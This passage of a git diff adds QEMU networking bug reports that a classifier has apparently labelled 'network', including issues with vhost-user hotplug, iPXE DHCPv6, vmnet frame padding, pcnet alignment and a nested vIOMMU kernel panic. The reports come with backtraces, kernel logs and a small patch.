__GI_exit (status=<optimized out>) at exit.c:141 +#5 0x00007ffff5fccb91 in __libc_start_call_main (main=main@entry=0x5555558837a0 <main>, argc=argc@entry=23, argv=argv@entry=0x7fffffffd7a8) at ../sysdeps/nptl/libc_start_call_main.h:74 +#6 0x00007ffff5fccc4b in __libc_start_main_impl + (main=0x5555558837a0 <main>, argc=23, argv=0x7fffffffd7a8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd798) at ../csu/libc-start.c:360 +#7 0x0000555555885345 in _start () +``` +Steps to reproduce: +1. Launch a Xen guest as described at https://qemu-project.gitlab.io/qemu/system/i386/xen.html (which will get a Xen NIC by default). +2. Terminate QEMU. + +It doesn't need to boot, doesn't need to do anything. Just launch a completely non-functional guest and then hit `Ctrl-a x` on the default monitor: +``` +$ ./qemu-system-x86_64 -accel kvm,xen-version=0x40010,kernel-irqchip=split -display none +QEMU: Terminated +Segmentation fault + +``` + +For `net_cleanup()` to clean up the *netdevs* makes sense, because those might have state which persists in the system after QEMU exits, and need to be cleaned up. But deleting the nics doesn't seem to be necessary. +Fix at https://lore.kernel.org/qemu-devel/61ea91785772a8138ad12b305cbd5aac4aa1e86a.camel@infradead.org diff --git a/results/classifier/gemma3:12b/network/198 b/results/classifier/gemma3:12b/network/198 new file mode 100644 index 000000000..36929353c --- /dev/null +++ b/results/classifier/gemma3:12b/network/198 @@ -0,0 +1,2 @@ + +USB Ethernet device (RNDIS) does not work on several tested operating systems diff --git a/results/classifier/gemma3:12b/network/2019 b/results/classifier/gemma3:12b/network/2019 new file mode 100644 index 000000000..dc00fcfe0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2019 @@ -0,0 +1,27 @@ + +Additional network device is not recognized on windows guest vm +Description of problem: +I have a problem for using Windows 2019/2022 guest vm as QEMU. +When I add a network device more online, it isn't work and recognized. +There is an error occurs at the Device Manager. + + + +I added network device with this qmp command +``` +'{ "execute": "chardev-add", "arguments":{"id":"charnet_35", "backend": { "type" : "socket", "data" : { "addr" : { "type" : "unix", "data" : {"path" : "/tmp/17115.1''"}}, "server" : true, "wait" : false }}}}' | nc -U $socket -N +'{ "execute": "netdev_add", "arguments":{"type":"vhost-user", "id":"'hostnet_35", "chardev":"charnet_35", "queues":2 }}' | nc -U $socket -N +'{ "execute" : "device_add", "arguments" : {"driver" : "virtio-net-pci", "mq":"on" ,"vectors":6, "netdev":"hostnet_35", "id":"dpdk_35", "mac":"F2:20:AF:40:12:65", "bus" : "bridge", "addr" : "0x8", "page-per-vq": "on", "rx_queue_size" : 1024, "tx_queue_size": 1024, "mrg_rxbuf" : "on", "disable-legacy": "on", "disable-modern" : "off" , "host_mtu" : 1500, "csum" : "on", "guest_csum" : "on", "host_tso4" : "on", "host_tso6" : "on"}}' | nc -U $socket -N +``` + +But, I can check recognized additional Network device after Windows guest vm rebooted. +Steps to reproduce: +1. Boot Windows 2019/2022 guest vm +2. Add chardev, netdev, device more with qmp command as hotplug +3. Check Network device recognition on the guest os +Additional information: +- I'm using hardware vDPA offloading with mellanox NIC card. +And When I use tap device instead vhost-user at the netdev, I don't have any problem. That error does not occured + +- And second, when I disable the first NIC, The additional NIC is recognized. + diff --git a/results/classifier/gemma3:12b/network/2024 b/results/classifier/gemma3:12b/network/2024 new file mode 100644 index 000000000..86bcbe6ff --- /dev/null +++ b/results/classifier/gemma3:12b/network/2024 @@ -0,0 +1,31 @@ + +IPv6 DHCPv6 DUID-UUID Generation Issue with iPXE on QEMU 8.1.2 and SMBIOS 3.0 +Description of problem: +I'm creating this ticket in both projects affected as I'm unsure which side needs to resolve it. I discovered this bug after upgrading Proxmox to version 8.1. I use iPXE to boot in IPv6 and retrieve the configuration from a web server. I have a DHCPv6 and SLAAC server configured. + +In this configuration, iPXE is unable to generate the necessary DUID-UUID for IPv6. If I revert to the previous QEMU version (using the machine: pc-i440fx-8.0 option in Proxmox), I have no issues. The only difference I notice and understand is the switch to SMBIOS 3.0, which is 64 bits, compared to SMBIOS 2.8, which is 32 bits. It appears to be the same issue with Libvirt. By default, it uses pc-q35-8.1, and I encounter the bug. However, if I switch to pc-q35-8.0, the problem is resolved. + +I've included two sets of information in the first part. The first one is from my local computer using libvirt, making it easier to reproduce the bug. The second set is from my production environment. + +Here's the iPXE trace: + +```plaintext +iPXE> ifconf --configurator ipv6 +Configuring [ipv6] (net0 66:b5:3e:97:7d:4e)... +DHCPv6 net0 could not create DUID-UUID: No such file or directory (https://ipxe.org/2d0c203b) +No such file or directory (https://ipxe.org/2d0c203b) +``` +Steps to reproduce: +1. Create a PXE ISO with IPv6 debug options: + 1. Clone the iPXE repository with the following command: + * `git clone https://github.com/ipxe/ipxe` + 2. Navigate to the src directory: + * `cd ipxe/src` + 3. Build the iPXE ISO with IPv6 debug options using the following command: + * `DEBUG='dhcpv6,neighbour' make bin/ipxe.iso` +2. Set up a Libvirt network with DHCPv6 enabled (example configuration provided in the next section). +3. Create a virtual machine with the generated iPXE ISO and the network configured for IPv6. +4. Press `Ctrl+B` to access the iPXE shell. +5. Execute the command `ifconf --configurator ipv6` in the iPXE shell. +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/2058 b/results/classifier/gemma3:12b/network/2058 new file mode 100644 index 000000000..3918c1eee --- /dev/null +++ b/results/classifier/gemma3:12b/network/2058 @@ -0,0 +1,53 @@ + +QEMU should pad Ethernet frames from vmnet.framework on macOS hosts +Description of problem: +When using a `vmnet` network device on a macOS host, the host’s [ARP](https://en.wikipedia.org/wiki/Address_Resolution_Protocol) replies are smaller than the 64-octet minimum frame size defined for Ethernet in IEEE Std 802.3-2022 (subclause 4.2.3.3 and Table 4–2). + +When QEMU presents such frames to a guest, the guest’s Ethernet device driver may drop them with “frame too short” or “runt” errors, since they are smaller than actual Ethernet frames should ever be. This prevents the guest from resolving the host’s MAC address, so the guest and host can’t communicate as expected. + +I observed this problem with a Mac OS X 10.4.11 guest using a `sungem` or `rtl8139` virtual network device, but it might also affect other guests and virtual network devices. +Additional information: +To prevent this problem, QEMU should pad Ethernet frames received from `vmnet` to the minimum size, 60 bytes before the frame check sequence, before handing them off to a guest. (QEMU’s virtual network devices used to add such padding, but that was changed earlier this year in commits such as 63b901bf and aee87b43.) + +Here is a patch for `net/vmnet-common.m` that calls `eth_pad_short_frame()` for this, as `net/tap.c` and `net/slirp.c` already do: + +``` +--- net/vmnet-common.m.orig 2023-12-19 13:24:34.000000000 -0800 ++++ net/vmnet-common.m 2023-12-27 13:30:15.000000000 -0800 +@@ -18,6 +18,7 @@ + #include "qemu/error-report.h" + #include "qapi/error.h" + #include "sysemu/runstate.h" ++#include "net/eth.h" + + #include <vmnet/vmnet.h> + #include <dispatch/dispatch.h> +@@ -150,10 +151,23 @@ + */ + static void vmnet_write_packets_to_qemu(VmnetState *s) + { ++ uint8_t *pkt; ++ size_t pktsz; ++ uint8_t min_pkt[ETH_ZLEN]; ++ size_t min_pktsz = sizeof(min_pkt); ++ + while (s->packets_send_current_pos < s->packets_send_end_pos) { +- ssize_t size = qemu_send_packet_async(&s->nc, +- s->iov_buf[s->packets_send_current_pos].iov_base, +- s->packets_buf[s->packets_send_current_pos].vm_pkt_size, ++ pkt = s->iov_buf[s->packets_send_current_pos].iov_base; ++ pktsz = s->packets_buf[s->packets_send_current_pos].vm_pkt_size; ++ ++ if (net_peer_needs_padding(&s->nc)) { ++ if (eth_pad_short_frame(min_pkt, &min_pktsz, pkt, pktsz)) { ++ pkt = min_pkt; ++ pktsz = min_pktsz; ++ } ++ } ++ ++ ssize_t size = qemu_send_packet_async(&s->nc, pkt, pktsz, + vmnet_send_completed); + + if (size == 0) { + +``` diff --git a/results/classifier/gemma3:12b/network/2088 b/results/classifier/gemma3:12b/network/2088 new file mode 100644 index 000000000..fba55a0ec --- /dev/null +++ b/results/classifier/gemma3:12b/network/2088 @@ -0,0 +1,22 @@ + +Building qemu fails on Solaris 11.4 +Description of problem: +Building qemu-system-hppa on Solaris 11.4 (details above) fails because in qga/commands-posix.c + +(1) Solaris does not have net/ethernet.h +``` + #if defined(__NetBSD__) || defined(__OpenBSD__) + #include <net/if_arp.h> + #include <netinet/if_ether.h> + #else + #include <net/ethernet.h> + #endif +``` +Solaris *does* have net/if_arp.h and netinet/if_ether.h + +(2) Solaris does not define ETHER_ADDR_LEN, instead it defines ETHERADDRL +Steps to reproduce: +1. '../configure' '--disable-docs' '--disable-rdma' '--target-list=hppa-softmmu' +2. gmake +Additional information: + diff --git a/results/classifier/gemma3:12b/network/2095 b/results/classifier/gemma3:12b/network/2095 new file mode 100644 index 000000000..8e02e2644 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2095 @@ -0,0 +1,2 @@ + +RFE: support AF_UNIX userspace backend for virtio-vsock matching firecracker diff --git a/results/classifier/gemma3:12b/network/2111 b/results/classifier/gemma3:12b/network/2111 new file mode 100644 index 000000000..e805782ea --- /dev/null +++ b/results/classifier/gemma3:12b/network/2111 @@ -0,0 +1,60 @@ + +Assertion failure with active vhost NIC when snapshot_save_job_bh() is executed as part of a vCPU thread's aio_poll() +Description of problem: +During a `snapshot-save` QMP command the `snapshot_save_job_bh()` bottom half can end up being executed as part of a vCPU thread's `aio_poll()`. This is problematic and can lead to an assertion failure (see below for backtrace) when there is an active vhost network device: + +``` +qemu-system-x86_64: ../hw/net/virtio-net.c:3835: virtio_net_pre_save: Assertion `!n->vhost_started' failed. +``` +Steps to reproduce: +It is very racy and very difficult to reproduce when actually taking snapshots. So the way I can get it pretty reliably is: + +1. Issue `snapshot-save` QMP commands with an invalid device ID in a loop. At the same time, have the guest write to the pflash. +2. In GDB, wait for `snapshot_save_job_bh()` to be hit by a vCPU thread. +3. Manually change the device ID to a valid one (`scsi1` in the example) so that taking a snapshot will actually be attempted. +4. Continue in GDB and the assertion failure will happen. +Additional information: +Full backtrace: + +``` + #0 __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44 + #1 0x00007f1de5ae3d9f in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78 + #2 0x00007f1de5a94f32 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26 + #3 0x00007f1de5a7f472 in __GI_abort () at ./stdlib/abort.c:79 + #4 0x00007f1de5a7f395 in __assert_fail_base (fmt=0x7f1de5bf3a90 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x563cb92d56e7 "!n->vhost_started", + file=file@entry=0x563cb92d56d0 "../hw/net/virtio-net.c", line=line@entry=3835, function=function@entry=0x563cb92d65a0 <__PRETTY_FUNCTION__.2> "virtio_net_pre_save") at ./assert/assert.c:92 + #5 0x00007f1de5a8de32 in __GI___assert_fail (assertion=assertion@entry=0x563cb92d56e7 "!n->vhost_started", file=file@entry=0x563cb92d56d0 "../hw/net/virtio-net.c", line=line@entry=3835, + function=function@entry=0x563cb92d65a0 <__PRETTY_FUNCTION__.2> "virtio_net_pre_save") at ./assert/assert.c:101 + #6 0x0000563cb8ebf23c in virtio_net_pre_save (opaque=<optimized out>) at ../hw/net/virtio-net.c:3835 + #7 virtio_net_pre_save (opaque=<optimized out>) at ../hw/net/virtio-net.c:3829 + #8 0x0000563cb917515b in vmstate_save_state_v (f=0x7f1dc43aec30, vmsd=0x563cb9e5a580 <vmstate_virtio_net>, opaque=0x563cbbb6eb40, vmdesc=0x7f1dc4080040, version_id=11, errp=0x7f1dcbdf9908) + at ../migration/vmstate.c:359 + #9 0x0000563cb9175d0c in vmstate_save_state_with_err (f=<optimized out>, vmsd=<optimized out>, opaque=<optimized out>, vmdesc_id=<optimized out>, errp=<optimized out>) at ../migration/vmstate.c:347 + #10 0x0000563cb8d9a1b2 in vmstate_save (f=f@entry=0x7f1dc43aec30, se=se@entry=0x563cbbcbdc70, vmdesc=vmdesc@entry=0x7f1dc4080040) at ../migration/savevm.c:1037 + #11 0x0000563cb8d9d6e6 in qemu_savevm_state_complete_precopy_non_iterable (f=f@entry=0x7f1dc43aec30, in_postcopy=in_postcopy@entry=false, inactivate_disks=inactivate_disks@entry=false) + at ../migration/savevm.c:1553 + #12 0x0000563cb8d9daa2 in qemu_savevm_state_complete_precopy (f=f@entry=0x7f1dc43aec30, iterable_only=iterable_only@entry=false, inactivate_disks=inactivate_disks@entry=false) at ../migration/savevm.c:1628 + #13 0x0000563cb8da076e in qemu_savevm_state (errp=0x7f1dc42c59f0, f=0x7f1dc43aec30) at ../migration/savevm.c:1734 + #14 save_snapshot (name=<optimized out>, overwrite=overwrite@entry=false, vmstate=<optimized out>, has_devices=has_devices@entry=true, devices=0x7f1dc4096600, errp=0x7f1dc42c59f0) at ../migration/savevm.c:3131 + #15 0x0000563cb8da0926 in snapshot_save_job_bh (opaque=0x7f1dc42c5930) at ../migration/savevm.c:3430 + #16 0x0000563cb9110036 in aio_bh_poll (ctx=ctx@entry=0x563cba818b40) at ../util/async.c:216 + #17 0x0000563cb90fa09a in aio_poll (ctx=ctx@entry=0x563cba818b40, blocking=blocking@entry=true) at ../util/aio-posix.c:722 + #18 0x0000563cb8fb1015 in bdrv_poll_co (s=0x7f1dcbdf9db0) at /home/febner/repos/qemu/block/block-gen.h:43 + #19 blk_pwrite (blk=<optimized out>, offset=offset@entry=91136, bytes=bytes@entry=512, buf=0x7f1dc9a16400, flags=flags@entry=0) at block/block-gen.c:2012 + #20 0x0000563cb8bb8985 in pflash_update (pfl=pfl@entry=0x563cbaa84bf0, offset=91136, offset@entry=91526, size=size@entry=1) at ../hw/block/pflash_cfi01.c:394 + #21 0x0000563cb8bbacd8 in pflash_write (be=0, width=1, value=63, offset=91526, pfl=0x563cbaa84bf0) at ../hw/block/pflash_cfi01.c:522 + #22 pflash_mem_write_with_attrs (opaque=0x563cbaa84bf0, addr=91526, value=<optimized out>, len=1, attrs=...) at ../hw/block/pflash_cfi01.c:681 + #23 0x0000563cb8f06e2e in access_with_adjusted_size (addr=addr@entry=91526, value=value@entry=0x7f1dcbdf9f58, size=size@entry=1, access_size_min=<optimized out>, access_size_max=<optimized out>, + access_fn=0x563cb8f06710 <memory_region_write_with_attrs_accessor>, mr=<optimized out>, attrs=...) at ../system/memory.c:573 + #24 0x0000563cb8f07e59 in memory_region_dispatch_write (mr=mr@entry=0x563cbaa84fb0, addr=addr@entry=91526, data=<optimized out>, op=<optimized out>, attrs=attrs@entry=...) at ../system/memory.c:1528 + #25 0x0000563cb8f0f43c in flatview_write_continue (fv=fv@entry=0x7f1dc42e4720, addr=addr@entry=4290864518, attrs=..., attrs@entry=..., ptr=ptr@entry=0x7f1de7946028, len=len@entry=1, addr1=<optimized out>, + l=<optimized out>, mr=0x563cbaa84fb0) at ../system/physmem.c:2714 + #26 0x0000563cb8f0f6b3 in flatview_write (fv=0x7f1dc42e4720, addr=addr@entry=4290864518, attrs=attrs@entry=..., buf=buf@entry=0x7f1de7946028, len=len@entry=1) at ../system/physmem.c:2756 + #27 0x0000563cb8f12959 in address_space_write (len=1, buf=0x7f1de7946028, attrs=..., addr=4290864518, as=0x563cb9fd8ec0 <address_space_memory>) at ../system/physmem.c:2863 + #28 address_space_rw (as=0x563cb9fd8ec0 <address_space_memory>, addr=4290864518, attrs=attrs@entry=..., buf=buf@entry=0x7f1de7946028, len=1, is_write=<optimized out>) at ../system/physmem.c:2873 + #29 0x0000563cb8f64ab8 in kvm_cpu_exec (cpu=cpu@entry=0x563cbac066d0) at ../accel/kvm/kvm-all.c:2915 + #30 0x0000563cb8f65ce5 in kvm_vcpu_thread_fn (arg=arg@entry=0x563cbac066d0) at ../accel/kvm/kvm-accel-ops.c:51 + #31 0x0000563cb90fd1c8 in qemu_thread_start (args=0x563cbaac33c0) at ../util/qemu-thread-posix.c:541 + #32 0x00007f1de5ae2044 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442 + #33 0x00007f1de5b6261c in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 +``` diff --git a/results/classifier/gemma3:12b/network/2125 b/results/classifier/gemma3:12b/network/2125 new file mode 100644 index 000000000..9dbf19e14 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2125 @@ -0,0 +1,15 @@ + +The value of 'tx_queue_size' is set to only 256 in the network device option on qemu 8.2. +Description of problem: +I have been using the 'tx_queue_size' value set to 1024 in the network device option on qemu 7.2 without any issues.\ +but when I upgrade to qemu 8.2 I got this error message (and also qemu 8.1) and I cannot use any value other than 256 +``` +qemu-system-x86_64: -device virtio-net-pci,mq=on,vectors=6,netdev=hostnet_34,id=dpdk_34,mac=F2:20:AF:40:12:65,bus=bridge,addr=0x7,page-per-vq=on,rx_queue_size=1024,tx_queue_size=1024,mrg_rxbuf=on,disable-legacy=on,disable-modern=off,host_mtu=1500,csum=on,guest_csum=on,host_tso4=on,host_tso6=on: Invalid tx_queue_size (= 1024), must be a power of 2 between 256 and 256 +``` + +and I think virtqueue max size value has never changed from 1024.\ +https://gitlab.com/qemu-project/qemu/-/blob/staging-8.2/include/hw/virtio/virtio.h?ref_type=heads#L62 +Steps to reproduce: +1. boot qemu-system-x86_64 on qemu 8.2 and network device option set tx_queue_size value over 256 +Additional information: +- I'm using hardware vDPA offloading with mellanox NIC card. diff --git a/results/classifier/gemma3:12b/network/2128 b/results/classifier/gemma3:12b/network/2128 new file mode 100644 index 000000000..4a6abde1c --- /dev/null +++ b/results/classifier/gemma3:12b/network/2128 @@ -0,0 +1,2 @@ + +avocado tests using landley.net URLs sometimes time out fetching assets diff --git a/results/classifier/gemma3:12b/network/2143 b/results/classifier/gemma3:12b/network/2143 new file mode 100644 index 000000000..f33a46a2a --- /dev/null +++ b/results/classifier/gemma3:12b/network/2143 @@ -0,0 +1,39 @@ + +ladr_match can cause bus error due to unaligned fetch +Description of problem: +On a SPARC host system, which does not support unaligned fetches, QEMU sometimes takes a bus error in ladr_match. +Steps to reproduce: +1. (see QEMU command line above) +2. let the system boot +3. +Additional information: +Problem is a hack in ladr_match - hw/net/pcnet.c:635 (present since 2006!): + +``` +Core was generated by `./qemu-system-sparc -rtc base=utc,clock=host -vga cg3 -g 1024x768x8 -machine SS'. +Program terminated with signal SIGKILL, Killed. +#0 0xffffffff7ec3b178 in ladr_match (size=110, buf=0xffffffff7ffee972 "33", s=0x808f2a20) at ../hw/net/pcnet.c:634 +634 if ((*(hdr->ether_dhost)&0x01) && +[Current thread is 632 (LWP 1 )] +(gdb) list +629 } +630 +631 static inline int ladr_match(PCNetState *s, const uint8_t *buf, int size) +632 { +633 struct qemu_ether_header *hdr = (void *)buf; +634 if ((*(hdr->ether_dhost)&0x01) && +635 ((uint64_t *)&s->csr[8])[0] != 0LL) { +636 uint8_t ladr[8] = { +637 s->csr[8] & 0xff, s->csr[8] >> 8, +638 s->csr[9] & 0xff, s->csr[9] >> 8, +(gdb) print &s->csr[8] +$1 = (uint16_t *) 0x808f4a7c +``` +The address of s->csr[8], in this case, is on a 4-byte boundary not an 8-byte boundary, so the hack to test for 8 bytes (4 x 16-bit words) being 0 by casting the address up to a pointer to uint64_t and dereferencing it fails. + +The data does not seem to be allocated with a deterministic alignment, this failure does not always occur. + +A solution to avoid alignment errors could be to test +``` + (s->csr[8] | s->csr[9] | s->csr[10] | s->csr[11]) != 0 +``` diff --git a/results/classifier/gemma3:12b/network/2151 b/results/classifier/gemma3:12b/network/2151 new file mode 100644 index 000000000..6543cd170 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2151 @@ -0,0 +1,196 @@ + +Nested vIOMMU PCI Passthrough kernel panics +Description of problem: +In an effort to test vIOMMU according to <https://wiki.qemu.org/Features/VT-d> I've run into a kernel panic on an L2 guest receiving the L1 hypervisor's PCI passed virtual macvtap hostdev. Upon an `ifup` inside the L2 guest, on the network device passed through from the L1 host, the following kernel panic occurs and the L2 guest reboots: + +``` +[ OK ] Started ifup@enp0s2.service - ifup for enp0s2. +[ OK ] Started ifup@enp0s3.service - ifup for enp0s3.[ 24.019839] audit: type=1400 audit(1707113302.472:9): apparmor="STATUS" operation="profile_load" profile="unconfined" name="/usr/bin/man" pid=457 comm="apparmor_parser" + + Starting networking.service - Raise network interfaces... +[ 24.255671] audit: type=1400 audit(1707113302.472:10): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_filter" pid=457 comm="apparmor_parser" +[ OK ] Finished systemd-tmpfiles-…te Volatile Files and Directories. +[ 24.361355] audit: type=1400 audit(1707113302.472:11): apparmor="STATUS" operation="profile_load" profile="unconfined" name="man_groff" pid=457 comm="apparmor_parser" + Starting systemd-timesyncd… - Network Time Synchronization... + Starting systemd-update-ut…rd System Boot/Shutdown in UTMP... +[ OK ] Finished systemd-update-ut…cord System Boot/Shutdown in UTMP. +[ OK ] Finished networking.service - Raise network interfaces. +[ OK ] Reached target network.target - Network. +[ OK ] Started systemd-timesyncd.…0m - Network Time Synchronization. +[ OK ] Reached target sysinit.target - System Initialization. +[ OK ] Started etckeeper.timermit of changes in /etc directory. +[ OK ] Started systemd-tmpfiles-c… Cleanup of Temporary Directories. +[ OK ] Reached target time-set.target - System Time Set. +[ OK ] Started apt-daily.timer - Daily apt download activities.[ 46.187450] rcu: INFO: rcu_preempt self-detected stall on CPU +[ 46.187522] rcu: 0-...!: (5250 ticks this GP) idle=3774/1/0x4000000000000000 softirq=12350/12350 fqs=0 +[ 46.187522] (t=5250 jiffies g=8669 q=7 ncpus=1) +[ 46.187522] rcu: rcu_preempt kthread timer wakeup didn't happen for 5249 jiffies! g8669 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x402 +[ 46.187522] rcu: Possible timer handling issue on cpu=0 timer-softirq=2282 +[ 46.187522] rcu: rcu_preempt kthread starved for 5250 jiffies! g8669 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x402 ->cpu=0 +[ 46.187522] rcu: Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior. +[ 46.187522] rcu: RCU grace-period kthread stack dump: +[ 46.187522] task:rcu_preempt state:I stack:0 pid:15 ppid:2 flags:0x00004000 +[ 46.187522] Call Trace: +[ 46.187522] <TASK> +[ 46.187522] __schedule+0x34d/0x9e0 +[ 46.187522] ? rcu_gp_cleanup+0x460/0x460 +[ 46.187522] schedule+0x5a/0xd0 +[ 46.187522] schedule_timeout+0x94/0x150 +[ 46.187522] ? __bpf_trace_tick_stop+0x10/0x10 +[ 46.187522] rcu_gp_fqs_loop+0x141/0x550 +[ 46.187522] rcu_gp_kthread+0xd0/0x190 +[ 46.187522] kthread+0xda/0x100 +[ 46.187522] ? kthread_complete_and_exit+0x20/0x20 +[ 46.187522] ret_from_fork+0x22/0x30 +[ 46.187522] </TASK> +[ 46.187522] rcu: Stack dump where RCU GP kthread last ran: +[ 46.187522] CPU: 0 PID: 487 Comm: ip Not tainted 6.1.0-17-amd64 #1 Debian 6.1.69-1 +[ 46.187522] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Arch Linux 1.16.3-1-1 04/01/2014 +[ 46.187522] RIP: 0010:virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] Code: 42 fe ff ff 0f b7 43 58 83 c0 01 66 89 43 58 f6 83 80 00 00 00 01 75 12 80 7b 4a 00 48 8b 4b 70 8b 53 60 74 0f 66 87 44 51 04 <48> 89 e8 5b 5d c3 cc cc cc cc 66 89 44 51 04 0f ae f0 48 89 e8 5b +[ 46.187522] RSP: 0018:ffff960c408135c8 EFLAGS: 00000246 +[ 46.187522] RAX: 0000000000000000 RBX: ffff88e04e976100 RCX: 0000000000000001 +[ 46.187522] RDX: 0000000000000000 RSI: ffff960c408135e4 RDI: ffff88e04e976100 +[ 46.187522] RBP: 0000000000000000 R08: 0000000000000004 R09: ffff88e0034fa980 +[ 46.187522] R10: 0000000000000003 R11: ffff960c40813628 R12: 0000000000000002 +[ 46.187522] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001 +[ 46.187522] FS: 00007f11d16da2c0(0000) GS:ffff88e07dc00000(0000) knlGS:0000000000000000 +[ 46.187522] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 46.187522] CR2: 00007f11d17ff8d0 CR3: 0000000004ac6000 CR4: 00000000000006f0 +[ 46.187522] Call Trace: +[ 46.187522] <IRQ> +[ 46.187522] ? rcu_check_gp_kthread_starvation+0xec/0xfd +[ 46.187522] ? rcu_sched_clock_irq.cold+0xe3/0x459 +[ 46.187522] ? update_load_avg+0x7e/0x780 +[ 46.187522] ? sched_slice+0x87/0x140 +[ 46.187522] ? timekeeping_update+0xdd/0x130 +[ 46.187522] ? timekeeping_advance+0x377/0x570 +[ 46.187522] ? update_process_times+0x70/0xb0 +[ 46.187522] ? tick_sched_handle+0x22/0x60 +[ 46.187522] ? tick_sched_timer+0x63/0x80 +[ 46.187522] ? tick_sched_do_timer+0xa0/0xa0 +[ 46.187522] ? __hrtimer_run_queues+0x112/0x2b0 +[ 46.187522] ? hrtimer_interrupt+0xf4/0x210 +[ 46.187522] ? __sysvec_apic_timer_interrupt+0x5d/0x110 +[ 46.187522] ? sysvec_apic_timer_interrupt+0x69/0x90 +[ 46.187522] </IRQ> +[ 46.187522] <TASK> +[ 46.187522] ? asm_sysvec_apic_timer_interrupt+0x16/0x20 +[ 46.187522] ? virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] virtnet_send_command+0x18e/0x1e0 [virtio_net] +[ 46.187522] virtnet_set_rx_mode+0xd4/0x2d0 [virtio_net] +[ 46.187522] __dev_open+0x12b/0x1a0 +[ 46.187522] __dev_change_flags+0x1d2/0x240 +[ 46.187522] dev_change_flags+0x22/0x60 +[ 46.187522] do_setlink+0x37c/0x12b0 +[ 46.187522] ? __nla_validate_parse+0x61/0xc00 +[ 46.187522] __rtnl_newlink+0x623/0x9e0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] rtnl_newlink+0x43/0x70 +[ 46.187522] rtnetlink_rcv_msg+0x14e/0x3b0 +[ 46.187522] ? __kmem_cache_alloc_node+0x191/0x2a0 +[ 46.187522] ? __alloc_skb+0x88/0x1a0 +[ 46.187522] ? rtnl_calcit.isra.0+0x140/0x140 +[ 46.187522] netlink_rcv_skb+0x51/0x100 +[ 46.187522] netlink_unicast+0x24a/0x390 +[ 46.187522] netlink_sendmsg+0x250/0x4c0 +[ 46.187522] __sock_sendmsg+0x5f/0x70 +[ 46.187522] ____sys_sendmsg+0x277/0x2f0 +[ 46.187522] ? copy_msghdr_from_user+0x7d/0xc0 +[ 46.187522] ___sys_sendmsg+0x9a/0xe0 +[ 46.187522] __sys_sendmsg+0x76/0xc0 +[ 46.187522] do_syscall_64+0x5b/0xc0 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] ? syscall_exit_to_user_mode+0x27/0x40 +[ 46.187522] ? do_syscall_64+0x67/0xc0 +[ 46.187522] ? do_user_addr_fault+0x1b0/0x580 +[ 46.187522] ? exit_to_user_mode_prepare+0x40/0x1e0 +[ 46.187522] entry_SYSCALL_64_after_hwframe+0x64/0xce +[ 46.187522] RIP: 0033:0x7f11d1811af0 +[ 46.187522] Code: 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 66 2e 0f 1f 84 00 00 00 00 00 90 80 3d f1 fa 0c 00 00 74 17 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 48 83 ec 28 89 54 +[ 46.187522] RSP: 002b:00007ffe21b533a8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e +[ 46.187522] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007f11d1811af0 +[ 46.187522] RDX: 0000000000000000 RSI: 00007ffe21b53410 RDI: 0000000000000003 +[ 46.187522] RBP: 0000000000000003 R08: 0000000065c07b57 R09: 00005580e154e2a0 +[ 46.187522] R10: 00007ffe21b52e34 R11: 0000000000000202 R12: 0000000065c07b58 +[ 46.187522] R13: 00005580e016e020 R14: 0000000000000001 R15: 0000000000000000 +[ 46.187522] </TASK> +[ 46.187522] CPU: 0 PID: 487 Comm: ip Not tainted 6.1.0-17-amd64 #1 Debian 6.1.69-1 +[ 46.187522] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Arch Linux 1.16.3-1-1 04/01/2014 +[ 46.187522] RIP: 0010:virtqueue_get_buf_ctx_split+0x94/0xd0 [virtio_ring] +[ 46.187522] Code: 42 fe ff ff 0f b7 43 58 83 c0 01 66 89 43 58 f6 83 80 00 00 00 01 75 12 80 7b 4a 00 48 8b 4b 70 8b 53 60 74 0f 66 87 44 51 04 <48> 89 e8 5b 5d c3 cc cc cc cc 66 89 44 51 04 0f ae f0 48 89 e8 5b +[ 46.187522] RSP: 0018:ffff960c408135c8 EFLAGS: 00000246 +[ 46.187522] RAX: 0000000000000000 RBX: ffff88e04e976100 RCX: 0000000000000001 +[ 46.187522] RDX: 0000000000000000 RSI: ffff960c408135e4 RDI: ffff88e04e976100 +[ 46.187522] RBP: 0000000000000000 R08: 0000000000000004 R09: ffff88e0034fa980 +[ 46.187522] R10: 0000000000000003 R11: ffff960c40813628 R12: 0000000000000002 +[ 46.187522] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001 +[ 46.187522] FS: 00007f11d16da2c0(0000) GS:ffff88e07dc00000(0000) knlGS:0000000000000000 +[ 46.187522] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 46.187522] CR2: 00007f11d17ff8d0 CR3: 0000000004ac6000 CR4: 00000000000006f0 +[ 46.187522] Call Trace: +[ 46.187522] <IRQ> +[ 46.187522] ? 